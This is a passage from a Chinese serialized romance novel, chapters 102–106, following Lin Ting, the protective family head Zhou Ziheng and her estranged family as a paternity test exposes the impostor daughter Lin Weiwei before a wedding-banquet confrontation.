是那个坐在椅子上,不动声色间,却让周围的空气瞬间冷却,让她小小的心脏瞬间提到嗓子眼的周家家主——周自衡。 一股寒意,从背脊处,直冲天灵盖。 第102章 就要亲下来! 空气瞬间凝结。 林薇薇连呼吸都是小心翼翼的。 不知为何,脚下的步子开始发软。 忽然走不动了。 领路的洛高,看了她一眼,“林小姐?” 林薇薇手心里冒着冷汗。 小心翼翼地看了一眼,坐在那里,岿然不动的周自衡。 这男人的慑伏力,实在太强大了。 他可是周自衡啊! 那个身为周家私生子。 被判了死刑,临近枪决,却还能越狱翻案。 无罪释放。 重新杀回周家。 坐上周家家主之位的周自衡。 为了扫清障碍,周二少周四少一夜间,意外而亡。 周三少周五少,被他送入了监狱。 终身监禁,永远见不到天日。 唯一留下的周六少,现在看来,应该也被他解决了? 否则今天她见到的,为什么不是周六少? 听说,周自衡连自己的亲生父亲周老爷子周才昆,也软禁在了周家山庄的西楼。 林薇薇掌心里的汗,密密麻麻。 挪动步子时,腿软得厉害。 脸色刷一下变得一片苍白。 她咬紧了唇,小心翼翼地望了领路的洛高一眼,“洛先生,周六少呢?” 洛高不疾不徐道,“大概死了吧。” 什么叫大概死了? 这么说,周六少也被周自衡解决了? 这个男人为了成为上位者,竟然解决了周家所有的竞争者,而且成功避开法律的制裁。 这哪里是人? 这是来自地狱的活阎王啊! 林薇薇听闻自己咚咚咚直跳个不停的心跳声。 胆快被吓破了。 难道周自衡和林听被陷害的事情,他已经查清楚了? 洛高似乎已经看穿了林薇薇的心思。 他淡淡地说了几句: “六年前,我家家主被栽赃陷害一事,家主既往不咎。” “林小姐不用担心。” “留着你,对家主还有用。” “请吧。” 林薇薇不知道自己是怎么走到周自衡的面前的。 腿好像不是自己的腿了。 嘴也好像不是自己的嘴了。 明明有很多想要解释的。 临到周自衡的面前,舌头僵得掳都掳不直了。 “继续留在林家当卧底。” “我保你林家假千金身份,不被暴露。” 这淡淡的声音,透着周自衡不怒而威的震慑力。 林薇薇从来没有这么怕过一个人。 怕到毛孔冒冷汗。 旁边的洛高,道:“林小姐,林建国这次做亲子鉴定,你没有任何操作空间。你只有选择和我们合作。” 林薇薇这次赴约,就是为了找周六少帮忙。 这次亲子鉴定,是她主动提出来,并且主动给的生物样本。 既是一步险棋。 也是唯一翻身的机会。 如果能够再次做手脚,让林建国林振宇心服口服。 他们对她的亏欠之意,将会更深。 只是没有想到,周六少竟然已经被周自衡除掉了。 这消息密不透风。 可见周自衡的手段。 她确实只能选择和周自衡合作。 她小心翼翼问,“你们真的能够保证,我林家假千金的身份,不被暴露?” 洛高的脸色冷下来,“林小姐,能够被家主选作棋子的人,不只你一个人。” 这是在提醒林薇薇。 机会只有一次。 林薇薇何尝又不知道。 她在周自衡的面前,微不足道。 万一惹怒了周自衡,他不但不给合作机会,还会追究之前的事情。 她坚定道,“我愿意,谢谢周先生大人大量,不计较我陷害您和林听偷窃林江医药机密的事情。但是有我一疑问。” 洛高:“一分钟。” 那意思是说,只给她一分钟的时间。 林薇薇赶紧问,“之前我把林江医药的M901抗癌药偷出来,给了周六少。后面就没有下文了。我想知道,这药的下落去了哪里。是不是给林听了?否则林听怎么可能还活着?” 算算时间节点。 她给周六少药的时候,周自衡已经坐上了周家家主之位。 M901,很有可能就是那个时候拿给林听的。 林听那个时候还没有死。 如果有M901,绝对有可能活下来。 可是,这样一来,周自衡岂不是与林听一伙的? 洛高:“M901,已经秘密投产了。” 林薇薇依然没有打消疑虑。 可是,她似乎没有选择的余地。 这时,洛高给身侧的人使了个眼神。 立即有人上前,摘走了林薇薇头发上的头绳。 上面坠着的珠子,是录音器。 来的时候,已经搜过身了。 没想到,还是逃不过他们的眼睛。 连头绳也被摘下。 头发立即散下来。 满头的凌乱既突显着林薇薇的狼狈不堪,又彰显着周自衡的威不可犯。 洛高捏着那只头绳,冷哼一声: “林薇薇,在我家主面前耍心机,你会死的很难看。” …… 十分钟后,林薇薇离开。 林听从仓库的一堆杂物后面,走出来。 周自衡大步走过去,与她面对面站在一起。 “江遇在私下帮你,否则林薇薇不会走投无路找过来。” 林听知道他想说什么,她问,“你是不是想提醒我,别再对江遇心软回头?” 然后,坚定道: “放心,不管他做什么,我都不稀罕。” 早在监狱里的时候,她就对江遇心灰意冷了。 回鹏城找他,不过是柚子实在无人托付。 没想到这个男人,再次狠狠践踏她。 现在她恢复了健康。 她完全有能力一个人把柚子抚养长大。 并且给柚子提供很好的成长环境。 江遇于她来说,就只是久远得像是上辈子的事情了。 周自衡勾了勾唇角,“恋爱脑觉醒,还算不是很蠢。” 林听盯着周自衡。 这男人在人前,总是一副满眼麻木冰冷的淡漠神情。 可是在她和柚子面前,却总是唇角微勾。 淡淡的笑意,掠过他的唇角,直达林听的心底。 不得不说。 这个男人果然是他们三兄弟当中,最是惊为天人的颜值担当。 那个时候,她满心满眼都是江遇。 江遇问她,他们三兄弟当中谁最帅时,她是眼瞎了,才说江遇最帅。 明明周自衡才是最帅的。 他淡淡的微笑,藏着一片深不可测的温柔。 仿佛要把林听的心给拽住似的。 好在她已经不是一个小姑娘了。 她俏皮地瞪他一眼,“周自衡,我以前在你眼里,是有多恋爱脑啊?” 两人从仓库里走出去。 周自衡顶天立地又铁血柔情的身影,将她衬托得小鸟依人。 他停在车前,帮她拉开车门,故作严肃道,“跟了江遇,你差点小命不保。谁还能比你更恋爱脑?” 说得好像很有道理。 但是她也是身不由己好不好? 她弯腰上车。 “林听,你要是再吃回头草,以后别说我是你朋友。” 奇怪! 说是她朋友的男人,这会儿在她弯腰坐进车里时,竟然伸出手掌,温柔地替她挡住车顶。 似乎生怕她撞到脑袋似的。 那动作小心温柔。 温柔的仿佛要把她拉进一片无声的邀约之中。 加上此刻,周自衡弯腰提醒她小心些,清洌中带着淡淡香味的短发,轻轻地拂过她的脸颊。 深湖般的眸光,落在她的脸上。 看似平静的,凝视着她。 似乎就要朝她亲下来,却又并没有亲下来。 林听差点就要误会了…… 第103章 二十多年的暗恋 周自衡的眸光,久久地凝视着林听。 久到林听差点误会,这男人是不是对她有意思? 可是从小到大,这男人都对女孩子不怎么感兴趣。 而且他想要的东西,他早抢了。 这是周自衡一贯的作风。 没有他抢不来的。 要是他早对她有意思,肯定早和江遇抢了吧。 可那些年,他什么也没做。 肯定是她多想了。 她也足够淡定,脸不红,心不跳,与他对视。 她大大方方,问: “你看着我干嘛?” 男人那抹平静的眸光,忽而一沉。 伸手间,拾掉她衣肩上的一根短发。 紧抿着唇,什么也没答,替她关了车门。 只有洛高在旁边注意到,刚刚还无比铁血柔情的家主,这会儿心情似乎不太好。 要怪就怪林小姐,对家主一点也不来电。 刚刚那个暧昧的姿势,连洛高的脸也烫了起来。 他不由别开脸,没敢去看。 没想到,林小姐一点反应也没有。 家主一番撩拨,毫不管用! 车子开往君悦府。 回到小区门口,天色已经暗下来了。 小区出入口。 一辆黑色的红旗国礼,被保安拦下来。 江遇亲自给这家物业公司的老总,打了电话。 对方给予了礼貌又抱歉的回复: “江总,真不是不给您面子,有人吩咐过的,您要是来小区,不能让你进啊。” 江遇紧崩着额角,“是周自衡还是宋律风?” 对方:“江总,真的很抱歉,无可奉告。希望您理解,我们也不容易。” 电话被挂断。 那道拦住的小区大门,被江遇用力踢了一脚。 他向来沉稳,遇到林听的事情则无法冷静下来。 前几天还能进小区。 这几天连小区大门都无法靠近。 林听果然设防。 她再也不想见到她。 如他所料,他越是靠近她,她越讨厌。 黑沉沉的夜色,突然生出许多无形的,密密麻麻的爪子。 撕扯着,抓挠着他的心脏。 空气窒息的无法呼吸。 这个时候,保安上前,“先生,请您立即离开,否则我们报警了。” 那帧伟岸挺拔的身影,突然显得落寞狼狈。 不得不走回驾驶室的车门。 小区门口,一辆缓缓靠近的酒红色红旗国耀,突然让江遇停了下来。 这辆车,烧成灰了江遇也能认出来。 那是几年前,他送给周自衡的车子。 车窗正前方,映着车上三人的身影。 开车的是周自衡的左膀右臂——洛高。 后排座坐着的,是林听和周自衡。 两人肩并着肩。 江遇的手指,紧紧蜷紧。 车里的周自衡,特意看了看林听的神色。 她面无表情。 刚刚还俏皮的笑容,瞬间冷却。 他特意问了一句,“要下去见一面?” 林听再不看江遇一眼,“洛高,开车。” 车子缓缓驶向小区大门。 车窗突然被人敲响。 那是大步走来的江遇。 车轮几乎要压过江遇的皮鞋。 江遇拍打车窗的动作,丝毫不停,紧跟着车子来到小区门口。 洛高怕压着江遇,车速减缓。 不要命的江遇,紧追着。 车轮再慢,依然不可避免地压过江遇的皮鞋。 铮亮的皮鞋,立即留下一排灰印。 嘶……骨头要碎裂。 “林听,你开车门。” 林听的车窗,缓缓关上,看也没看江遇一眼。 车子开进小区。 留下站在小区出入口,满眼痛苦的江遇。 酒红色的红旗国耀,停在宋家门口。 林听朝周自衡伸手,“U盘给我吧,明天我要回一趟林家。” 一只黑色的U盘,落在林听的掌心。 周自衡着看着她,问,“心情很难过?” “没有。”林听收拾包包,准备下车。 周自衡在身侧,道,“医科大学附近的那家日料,还记得吗?” 没等林听回答,周自衡又说,“肚子饿了,陪我去吃点。” 洛高赶紧调转车头,把车子往外开。 林听微微拧眉,“可是我答应了柚子,今晚要回去陪她吃饭的。” 周自衡:“只是陪我吃顿日料而已,好歹我救了你一命。” …… 某日料餐厅。 周自衡选了一处靠窗的位置。 坐下来,他扫码点餐。 这家餐厅,以前江遇和林听经常来。 林听每每心情不好,必来这家餐厅吃日料。 她的不快乐,来得快,也去得快。 没有什么不快乐,是一顿日料不能解决的。 千帆过尽,洗尽铅华。 她却再也没办法,拥有那份吃一顿日料,就能一页翻篇的能力了。 她承认。 江遇每一次出现在她的面前。 她的伤口就会被血淋淋地撕开。 周自衡大概是知道,她心情不好,所以带她来吃日料吧。 意外的是,周自衡点的餐,都是她喜欢的。 北极刺身,海胆寿司,蒲烧鳗鱼,芥末章鱼。 不知道是不是她和江遇带周自衡来过,所以周自衡记得江遇给她点过这些菜? 她喜欢的,周自衡竟然都点了。 她吃着醮了芥末酱的刺身,辣味入喉,呛得让人眼眶一湿。 “周自衡,谢谢你,带我来吃我最喜欢的日料。” “我知道,你是想让我心情好起来。” 周自衡看着那双湿漉漉的眼睛。 她从还是个五六岁的小女孩时,吵着闹着,长大了要做江遇老婆的。 从小到大,一直像个跟屁虫一样,围着江遇转。 她眼里心里,全是江遇。 这么好的女孩子,江遇是怎么忍心,把她伤得如此体无完肤? 他看着她,声音极轻,“一生那么长,陪你来吃日料的人,并不是非江遇不可。” 这句话,林听似懂非懂。 这时,服务生又端上来一道菜,“先生,太太,有什么心愿吗。我们的心愿墙,可以免费许愿,很灵的。” 林听一阵苦笑。 哪里灵了? 当年她不知道在这里,许了多少个愿望。 要与江遇,赤绳早系,白首永偕。 那时候,真是个蠢货。 她对服务生礼貌一笑,“谢谢,不用了。” 服务生走后,周自衡替林听夹了一块蒲烧鳗鱼,“有机会,你可以再去看看那面许愿墙,你会发现人生还有别处风景。” 那面许愿墙上留下的,不只是林听曾经的许下的心愿。 还有周自衡的。 “明天我陪你回林家。” 这声音带着铁血柔情,也带着某种坚定。 第104章 林薇薇果然不是亲生的 餐桌前,林听看着刚毅帅气的周自衡。 满眼疑惑。 “明天你要陪我回林家?” “你刚刚接手周家家主之位,不是应该很忙吗?” 周自衡夹了一块寿司,咬了几口。 干脆利落间往下咽。 他明明吃得快。 可是眉宇间却带着一丝沉静。 一吞一咽间,脖颈间紧崩的线条与滚动如山的喉结,展现出纯粹的雄性魅力。 这男人介于优雅与粗犷刚毅之间,连吃饭时都释放出浓浓的男人魅力。 林听竟然多看了一眼。 青春少年时,她总觉得江遇那样,吃饭斯文又优雅的男人,才叫帅气。 现在看来。 江遇那就是装。 周自衡这样的男人,才有男人魅力。 目光不免如此,一直落在他身上。 周自衡沉静间,继续去夹第二块寿司。 不过这块寿司,是夹给她的。 “你们林家让我蒙冤六年,是时候还我清白了。” 哦! 原来他是为了去澄清自己。 她还以为,他是特意陪她回去。 是她多想了。 也对,林江两家一直冤枉她,说他偷林江医药的研发机密。 其实,那个偷机密的人,一直是周家六少。 说话间,林听夹着一块刺身,蘸着挤了柠檬汁的芥末酱,道,“周自衡,那不是叫我们林家。我已经和林家没关系了。” 此时此刻,她才发现,这碟芥末酱里,加了她最喜欢的柠檬汁。 这家日料店的芥末酱,是没有柠檬汁的。 六年前,江遇每次陪她来,都是江遇让服务生加了柠檬汁。 六年后,服务生早换了一波。 刚刚她也没有特意要求,哪里来的柠檬汁? 是周自衡帮她加的? 这个男人,好像知道她的喜好似的。 席间,周自衡让服务生拿了一款清酒。 “听说这款清酒是他们新研发的。” “喝了它,可以快速释放人体体内的,多巴胺和内啡肽。” “从而提升情绪,释放掉那些不快乐的东西。” 林听盯着那小小瓶的清酒,问:“这酒有这么神奇?” 周自衡给她倒了一小杯,“尝尝?” 还别说,林听端起这小小的杯子,完全被它的颜值折服。 果汁般的颜色,果汁般的香气。 喝一口,淡淡的甜。 入喉间,仿佛是快乐在喉间跳舞。 她不由一口喝完。 周自衡想阻止来着,已经来不及了。 “再来一杯。” “这酒后劲大,尝尝就好。” “哪有你这样的。” 给人尝了,成功勾起别人的馋虫。 又不许她喝第二杯。 只是小小一杯,能有什么事? 她把周自衡手中的清酒抢过来,自己满上。 这酒真是越喝,心情越好。 林听全然不觉,她的小脸已经红扑扑的,像是春日里的桃花花瓣一样。 “别喝了,这酒的后劲很大。” “能有多大?” “一会儿你可别酒后说胡话。” “放心,我不发酒疯。” 饭后,周自衡结了账,“心情好一些了吗?” 不得不说,任何不愉快的事情,还真是没有吃一顿日料,所解决不了的。 傍晚见到江遇的阴霾心情,她早已一扫而空。 林听点头说了谢谢。 两人准备离开时,周自衡停在日料店那面许愿墙上。 “要不要去看看?” 那面许愿墙,写下了男男女女许多的心愿。 早已密密麻麻。 可是他们排列得很整齐。 只要林听花些心思,就能找到当初她和江遇一起许下过的愿望。 许愿墙下,也承载过周自衡的愿望。 如果林听稍微用心一些,一定能够发现周自衡整个青春的秘密。 林听苦涩一笑,“不用了,那些愚蠢的青春,根本不值一提了。” 周自衡看了看那面墙,淡淡道:“这里确实承载着许多人的青春。” 那时,江遇和林听墙头马上,两小无猜。 在他认识他们之前,林听早已天天追在江遇的屁股后面,嚷着长大后要嫁给江遇。 他九岁那年。 六岁的林听明明不会游泳。 明明,她手中抱着的那块救生圈,漏了一大半的气。 可是,她还是义无反顾地跳进水里,狼狈害怕中,坚定地扑向他。 那时,周家上上下下,父亲,手足,都想让他死。 包括他的亲生母亲,也只拿他当获取父亲财富的筹码。 没有人想让他活着。 可是,六岁的林听却不顾自己的性命,也要救他。 她是唯一一个,要他活着的人。 那是他阴暗潮湿的人生中,照进来的唯一一束光。 只是这一束光,在未来的十余二十年里,她只属于他最好的兄弟——江遇。 林江医药机密窃取案之前,江遇也确实是一个很值得托付的男人。 他待林听极好,小心翼翼地呵护着她。 所以,周自衡整个青春的秘密,掩藏得极好。 只有这一面许愿墙,知道他的心事。 不过。 不急。 来日方长。 此刻,林听好像有些醉意了。 她晃了晃脑袋,轻揉太阳穴间,脸颊像是晕开了胭脂一样。 “醉了?” “还好。” 淡淡一笑间,她的眼神水润而迷离。 这一路,她一直逞强。 这酒哪里是一般的后劲大? 是后劲大得吓人。 到了车上,林听晕乎乎的。 脑袋不由靠在周自衡的肩膀,也未发觉。 夜晚的路灯,一束又一束轮翻照在她的脸上。 初熟蜜桃般的脸颊,红扑扑的。 明明已经是五岁孩子的母亲了,却可爱如少女。 遮住林听面颊的短发,被周自衡轻轻拂过,别到她白皙迷人的耳畔后头。 露出来的那只耳朵,耳垂上有着一颗迷人的黑痣。 男人的指尖轻轻落下。 就要碰触到她的耳垂,却又停了下来。 洛高开着车。 车内的空调有些凉。 周自衡拿了一条毯子,轻轻盖在她的身上。 又一动不动的,任由她靠在自己的肩膀上。 这个时候,女人不知道在嘟哝着什么,一边嘟哝,手一边比画着。 最后,这女人从他的肩头抬起来,看着他。 “周自衡,你是不是喜欢我呀?” 哪里有他回答的余地。 她自问自答地说着醉乎乎的话。 “周自衡,你要是不喜欢我,你怎么突然像变了个人似的,对我这么细致?” 她也不知道她在说什么。 云里雾里间,脑袋晕晕的,好像是在做梦。 脑袋又落在他的肩头,“周自衡,我现在一点也不想谈恋爱了……” 好像是醉了。 又好像是睡过去了。 满脸如蜜桃般水润的她,再也没了声音。 最后只留下,她均匀又清浅的呼吸声,带着浓浓的果子味酒香气息,扑打在他的脖颈动脉处。 她细腻的鼻尖,甚至在他的脖颈处轻轻蹭了蹭。 换了一个舒服的睡姿,继续睡着。 周自衡一动也不敢动了。 这是林听第一次靠他这么近。 最终,大掌轻轻落在她的脑袋上,温柔一抚,“睡吧!” 男人骨节分明的手指,最后穿过她的短发,落在了她的脸颊上。 夜里十点多。 宋律风家的门铃被按响。 按门铃的人是洛高。 开门的人是宋律风,还有站在宋律风身侧的张淑琴。 二人见到门口的洛高,心脏洛高身侧的,将林听横抱在怀里的周自衡。 一股浓浓的果子味的酒香味,扑面而来。 周自衡顶天立地的男儿身躯里,林听小鸟依人般地躺在他怀里。 画面就像爱情剧里一样甜蜜温馨。 宋律风闻着那熟悉的清酒味,“你带小听去那家她和江遇经常去的日料店了,还喝酒了?” 回应宋律风的,是周自衡的大步迈入。 他抱着怀里的林听,轻而易举间,直接去了林听的卧室。 小柚子光着脚丫子,从她和落落的房间里跑出来。 两个小女孩都探着个脑袋,看着周自衡把要听抱回房间。 小柚子侧着脑袋,问了问身侧同样满眼偷笑的落落姐姐,“落落姐姐,我妈妈是不是和周爸爸去约会了?” 落落若有所思,“好像是。” 小柚子偷偷一笑,“那我希望妈妈经常和周爸爸约会。” “你们两个小孩子懂什么。”张淑琴走过来,把两个孩子赶回了她们自己的卧室里。 另一间卧室里。 周自衡替林听脱了鞋和袜子。 大掌绅士地握住她白皙的脚踝,将她放到床上。 空调的温度有些凉。 被子被他拉过来,盖在她的身上。 然后,这男人去卫生间找了一圈,拿来了热毛巾,替她擦了擦脸,擦了擦手。 确定她睡得很沉,这才离开房间。 门口,宋律风带着吃瓜的表情,倚靠在墙上,“你今天好像心情不错?” “半夜林听或许会口渴,你家热水在哪里?”周自衡答得风马牛不相及。 随即,他亲自去给林听倒了一杯温热水,装在她用的保温杯里,放在她的床头,这才离开。 宋律风送他到了车门前,“干脆你早点让林听搬到你买的隔壁别墅去,约会也方便。” 如果周自衡早日将林听拿下。 宋律风也欣慰。 林听经历了那么多苦难,他只希望她的后半生能够多一些被疼爱,被呵护。 眼下看来,周自衡是很好的人选。 这天晚上,林听睡得特别香甜。 也不知道是不是喝了周自衡推荐的那款,果香味的清酒的原因。 她竟然做了一个很甜美的梦,梦里全是她与柚子的欢声笑语。 …… 夜里四点多。 林振宇亲自守着公安局的法医部门,做完了林薇薇与林建国的亲子鉴定。 “林少,结果出来了。” 女法医把一纸鉴定书,递给林振宇。 饶是林振宇不懂基因学,可尾页处的一行大字,赫然醒目: 基因点位不符,非亲生。 林薇薇果然不是爸的亲生女儿。 他们被骗得好惨。 天还没亮,林振宇连夜赶回了林家,推开了林建国的书房门。 这天晚上,林建国是一放未眠。 就等着林振宇的结果了。 虽然林建国已经揭穿了林薇薇的真面目,可他还是不相信他被苏秀珍和林薇薇给骗了。 直到看到非亲生的亲子鉴定报告,整个人的精神力彻底垮了。 他三十年来的信念,也彻底土崩瓦解。 他被苏秀珍和林薇薇母女俩,骗得好惨啊! 第105章 都在等她回林家 林建国拿着鉴定结果的手,不停颤抖。 颤抖的何止是他的手。 还有他的身心。 一口恶气堵在胸口。 差点上气不接下气。 他依旧雄健有力的血肉之躯,仿佛一瞬间苍老了许多。 连他的声音也是颤抖的。 “振宇,我被她们两母女骗得好惨。” 林薇薇虽然不承认,当年林听的亲子鉴定被她们母女做了手脚。 但是这一刻,林建国无比的肯定。 多年前他与林听的亲子鉴定,肯定是被人做了手脚的。 林听才是他的亲生女儿。 为了这两个心机贱母女,他竟然把自己的亲生女儿,送进了监狱里。 小听也差点死在他手中。 林建国一口气接不上来。 哐当一声中,他跌回椅子里。 椅子又被他打翻。 整个老骨头摔在地上。 林振宇赶紧去拿抽屉里的速效救心丸。 好一会儿,林建国才缓过来,脸色依旧苍白。 “爸,这不怪你,要怪就怪林薇薇和苏秀珍两母女太有心机了。” “我们都被她们给骗了。” 林建国老泪纵横地抓住林振宇的手。 “振宇,你妹妹恨透了我们,她会不会再也不认我这个父亲了?” 这也是林振宇所担忧的,“爸,我们是时候,为小听做点什么了。” …… 这一夜,两父子未眠。 一直到天亮。 同样未眠的,也是林薇薇和苏秀珍母女俩。 直到天亮,苏秀珍才小心翼翼去了林薇薇的卧室。 看到女儿脸色不太好,苏秀珍问,“薇薇,你也没睡觉?” “嗯。”林薇薇从窗前转身回头。 来到苏秀珍的面前,她紧蹙着眉心。 “周自衡答应我,会帮忙。不知道林建国林振宇父子俩,拿到亲子鉴定结果了没有。” 如果周自衡真的能帮忙。 那亲子鉴定结果,一定可以再次做手脚。 就能在这一步,她主动要求做亲子鉴定的险棋之中,反败为胜。 如此一来,林建国和林振宇必将会对她们母女俩愧疚加倍。 她们母女俩,依然可以安然无恙地留在林家。 林薇薇还在打着如意算盘。 她激动起来,“妈妈,如果林建国和林振宇对我愧疚加倍,他们肯定会想办法让江遇继续娶我的。” 这些年,她像小偷一样活在林家。 活在妈妈苏秀珍的操控下。 如同提线木偶。 只有对江遇的那份爱,能够让她感觉到活着的意义。 她做梦都想嫁给江遇。 苏秀珍脸色沉下来,冷静地提醒着: “薇薇,你别忘了你留在林家的目的。” “如果这次我们反败为胜,你别只想着做你的江太太。” 林薇薇露出担忧来,“妈妈,为什么一定要林家家破人亡,林听已经被我们赶出去了呀。” 苏秀珍眼里露出凶光来,“因为他们都该死,你哥哥死得那么惨,他们必须死。” 林薇薇劝道:“妈妈,可是哥哥是因为林建国死的,没有必要牵连到林家所有人啊。” 苏秀珍:“你闭嘴!他们都该死!” 这个时候,门口响起了敲门声。 是林家的佣人。 林薇薇前去开门。 女佣对她说,“林小姐,早餐准备好了,林总和林少已经在餐厅等候了。” 林薇薇:“好,我换身衣服就下楼。” 关了门,她对苏秀珍说: “妈妈,他们两父子还能正常叫我们去吃早餐。” “应该是周自衡疏通过关系,亲子鉴定已经出结果了。” 苏秀珍不忘提醒,“这次化险为夷,记住你留在林家的任务。” 林家餐厅。 林建国林振宇父子二人,脸色严肃地坐在那里。 林薇薇和苏秀珍走过去的时候,心悬于一线。 虽然两母女知道,她们大概率是不会被赶出林家的。 见到父子二人这般脸色,还是难免紧张难安。 “爸……”林薇薇刚刚开口,林建国斩钉截铁,“记得准时抵达鼎盛酒店。” 说完这句话,林建国起身离开。 林振宇也什么都没说,跟着林建国离开。 离开前,他失望透顶地看了一眼林薇薇。 那一眼让林薇薇心里发麻。 周自衡不是已经答应帮忙,她和林建国的亲子鉴定,应该不会出问题。 为什么这两父子态度这般冷漠阴鸷? 可是如果有问题,林建国又为什么要她们准时抵达鼎盛酒店? 今天原本是林建国和苏秀珍举行婚礼的日子。 盛大的婚礼就安排在鼎盛酒店。 几日前,苏秀珍早已收到了林建国为她量身订做的婚纱。 两父子走后,林薇薇问,“妈妈,今天的婚礼,应该会正常举行吧?” 可是,她为什么没有在林建国和林振宇的面容上,看到他们对她的愧疚与歉意? 不是应该说,误会她了。 不是应该说,他们会加倍的弥补她吗? …… 中午十一点。 酒店外是烈阳高照。 地面温度达到三十五度。 奢华顶端的酒店内,凉爽清香的空气,扑面而来。 然而,看着这场结婚喜宴井然有序进行着的江遇,却胸口烦躁难安。 他找到了正在迎接宾客的林振宇。 把他叫到没人的角落处。 林振宇的衣领,被一把拎起来。 江遇面色紧紧一崩 “林叔为何还要和苏秀珍举行婚礼,难道你们还是执迷不悟?” 林振宇甩开江遇的手,满眼痛苦内疚: “这一次我和我爸不会那么蠢。” “林薇薇苏秀珍两母女,骗了我们快三十年。” “这一次,是时候该了结。” “也是时候,该给小听一个完美的交代了。” 就在半个小时前,林振宇打电话给宋律风。 希望宋律师转告林听,让她来一趟鼎盛酒店。 电话是林听拿过去,接听的。 她在那头,坚定有力地说:“放心,我说过了,今天会送林建国和苏秀珍一份大礼。他们的婚礼,我一定会准时参加的。” 小听还以为,爸和苏秀珍还会继续举行婚礼。 其实,今天的这场婚礼之所以不取消,那是因为他们父子二人想借着这盛大的场面,当着全场宾客,郑重地向宣布一件大事。 江遇大概猜出来了。 他问,“你们是准备重新宣布林听林家千金的身份?” 林振宇:“不只如此。” 闻言,江遇紧崩的眉心,终于有了一丝松动。 他问,“林听会来吗?” 林振宇想到妹妹会来,他特别期待,“会!” …… 卫生间,洗手台。 江遇看了看手腕上的表。 中午十一点四十九分。 他给陈叔打了电话,“陈叔,林听到了吗?” 那头,回应:“还没有。” 江遇:“第一时间通知我。” 挂了电话,江遇整理着短发,又理了理领带。 然后,问旁边站着的人,“小陈,我这身打扮,有没有什么不妥之处?” 小陈:“挺好的,丰神俊逸,优雅帅气。” 身上这套西装,是六年前林听为他挑选的。 那是她送给他的,二十六岁的生日礼物。 他一直没舍得扔。 那个时候,林听说,他穿着好好看啊。 她也是如同小陈一样,这般夸赞他。 今天他特意穿在身上,林听一定会喜欢吧。 但他还是怕自己装着有任何不得体之处,又在镜前整理了一番。 直到中午十二点,林听依然没有出现。 化妆间里,穿着婚纱的苏秀珍,已经迫不及待了。 可是有人来通知她,“苏女士,林总让你过去一趟,但是请你脱下身上这套婚纱。” 苏秀珍眉心打成结,“今天不是我和老林的婚礼吗,婚纱为什么要脱下来?” 对方答:“你只管照做就好了。” 人走后,林薇薇和苏秀珍担忧起来。 “妈妈,如果不是为了正常举行婚礼,那些宾客为什么照常出席?” “而且婚礼现场布置得那般隆重。” 苏秀珍心里也打着鼓,这林建国的葫芦里到底卖的什么药,“走,去看看。” 迎宾处。 林建国和林振宇无法镇定下来。 两父子焦急往外望。 “振宇啊,怎么还不见你妹妹?” “小听会不会不来了?” 林振宇也十分担忧。 他可是特地为林听准备了惊喜。 按捺不住的林振宇,大步往外走去,“我去外面迎一迎。” 就在这时,一辆酒红色的红旗国耀,停在了酒店大门口。 迎宾立刻上前拉开车门。 周自衡下了车,站在车门前,绅士地伸出一只手臂。 “你可以把我当成你的保镖。” “有我在,不会让他们欺负你。” “你可不是保镖,你是大人物。”俏皮一笑间,林听白皙纤细的手掌,已经落在了周自衡西装革履的手臂上。 那只臂膀磅礴有力。 挽着这只手臂,就像有了依靠。 让林听的心里,有了许多安全感。 她下了车,在周自衡的陪同下,昂首挺胸地走进了酒店大厅。 今天,她要为妈妈讨回公道,好好收拾林薇薇和苏秀珍这对贱母女。 偌大的酒店大厅,响起一阵急促的跑步声。 那是箭步奔于林听面前,眼满浸着内疚与欣喜泪光的——林振宇,“小听,你真的来了!哥给你准备了惊喜。” 站在周自衡身侧的林听,脸上没有一丝笑容,“林先生,你是林薇薇的哥哥,我们之间早就没关系了,请你说话的时候注意一些。” 这清冷的声音,撕裂着林振宇的胸口,“小听,你在怪我?” 第106章 第一次亲密接触 酒店大厅。 林听抬眸,看向林振宇。 难道,她不应该怪林振宇吗? 就算她真的不是林建国的亲生女儿。 可是她与林振宇同是一个妈妈所生。 他们身上流着相同的血脉。 可是林振宇为了让林薇薇能够顺利嫁给江遇,不仅把她送到了郑辉的床上去。 最后连一盒救命药都不愿意给她。 如果不是周自衡,她早就死在了三个月前的抢救室里。 她最宝贝的女儿柚子,也早就成了没有妈妈的可怜孩子。 她不只是怪。 她更是恨。 恨到这一辈子都不会再原谅他。 她可笑又无语地怼了一句: “林振宇,你是不是脑子有问题,才如此地没有自知之明?” “刚好,你最亲爱的妹妹林薇薇和你的妹夫江遇,他们都是学医的。” “让他们好好给你看看脑子。” “小听,薇薇不是我的妹妹。”林振宇握住林听的手,“江遇都查清楚了……” 话未说话,林振宇的手臂被周自衡捏住。 只是轻而易举间,林振宇骨头都要碎掉似的。 嘶…… 可林振宇眉头也没皱一下。 他忍着痛,看向像周自衡,“周自衡,让我跟我妹妹说几句话,拜托你。” 周自衡并未松手。 铁血冷峻的整张脸,在沉静中释放着威慑力。 手下的力道,看起来明明是不费吹灰之力,却是让林振宇无法挣脱。 “你所说的每一个字,都会让林听的伤口被血淋淋地撕开。” “你要是真为了她好,就识趣一点,别在她面前晃悠。” 这是周自衡的告诫。 林振宇又何尝不知道? 妹妹小听恨他。 恨到每每见到他,伤口都会被血淋淋地撕开。 他以前做的那些事情,确实是猪狗不如,天理难容。 “可是,周自衡,我和小听始终是同胞兄妹。” “兄妹之间,打断骨头还连着筋。” “总该给我一个弥补的机会。” 大约是他的话,让周自衡十分不满。 周自衡握得更紧。 林振宇疼得钻心刺骨,却忍着疼,又看向了林听。 “小听,哥哥真的知道错了。” “哥哥以后再也不会让你受半点委屈。” “你相信哥哥,今天我和爸是准备……” 林听斩钉截铁: “林振宇,你的小听已经死在了三个月前的抢救台上。” “今天我和周自衡来这里,是要办一件事。” “办完我们就离开。” 冰冷的目光从林振宇身上抽开,落到周自衡刚毅冷峻的面容上,这才有了些许温度,“周自衡,我们进去吧。” 闻言,周自衡松开林振宇。 嘶……这一刻,林振宇才揉了揉被快要碎掉的手骨。 这男人劲太大了! 这么轻轻一捏,骨头都要断了。 但他赶紧大步追了上去。 前面的林听和周自衡二人,又被江遇拦了下来。 并肩停下来的林听和周自衡,让江遇心里说不出是什么滋味。 明明知道,林听和周自衡是清白的。 之前一直是他误会二人了。 但此刻,林听小鸟依人般站在周自衡的面前。 江遇像是打翻了醋坛子。 胸口酸酸的,堵堵的。 空气突然变得很稀薄。 明亮的酒店大堂,忽然间像灰蒙蒙一片,像是地狱一样让人窒息。 这两个人并肩站在一起,看起来竟然郎才女貌,十分般配。 可江遇面上沉着冷静。 